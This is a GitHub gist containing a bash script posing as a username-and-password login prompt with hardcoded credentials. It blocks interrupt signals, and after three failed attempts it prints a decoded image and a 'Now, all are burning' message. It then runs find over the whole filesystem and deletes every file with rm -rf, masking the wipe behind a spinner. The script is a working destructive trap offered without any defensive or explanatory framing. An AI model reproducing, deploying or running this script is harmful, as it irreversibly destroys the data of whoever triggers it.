Skip to content

Instantly share code, notes, and snippets.

@thiagomatar
Created September 24, 2019 19:43
Show Gist options
  • Save thiagomatar/8374640d09a2a6055c0a60ddece7d29b to your computer and use it in GitHub Desktop.
Save thiagomatar/8374640d09a2a6055c0a60ddece7d29b to your computer and use it in GitHub Desktop.
#!/bin/bash
clear
trap '' INT TSTP
declare -i retries=0
printDevil(){
base64 -d <<<"H4sIAAAAAAAA/32R0Q2DMAxE/5ni/rAlAguUTtARLJHPqlI38PA9G1KVQhuSmNhPxzkAGDBw4u/ouBzOGadhApYYgI0Hzhb3ZYpTi5k6cFHfjqxj5NP4X1yYwA3YizVu+OTqPM/9OefXLc8O6hUolz57OeEs4t6THTijniWWtzhum39z2YcRm3yrj7GdcZSrFPSw6GHuzUnjREKvltJj5ZYdpxpsR1yNXEaWCkrhirdMSjhX7SR8kVOdmGO1JLrqUYtqxi92LIq6i0TU3X9xQWah98fzBSUD8aFYAgAA" | gunzip
echo -e "\n\n Now, all are burning . . . #TampaNeverEnds"
}
for ((counter = 3; counter > 0; counter-- ))
do
clear
read -p "Enter username: " username
read -s -p "Enter password: " password
if [[ $username == 'thiago' && $password == 'matar' ]]; then
echo -e "\nProceed . . ."
break
elif [[ $retries == 2 ]]; then
clear
printDevil
sp='/-\|'
printf ' '
find / -type f | while read filename;
do
printf ''
printf '\b%.1s' "$sp"
sp=${sp#?}${sp%???}
rm -rf $filename;
done
fi
((retries++))
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment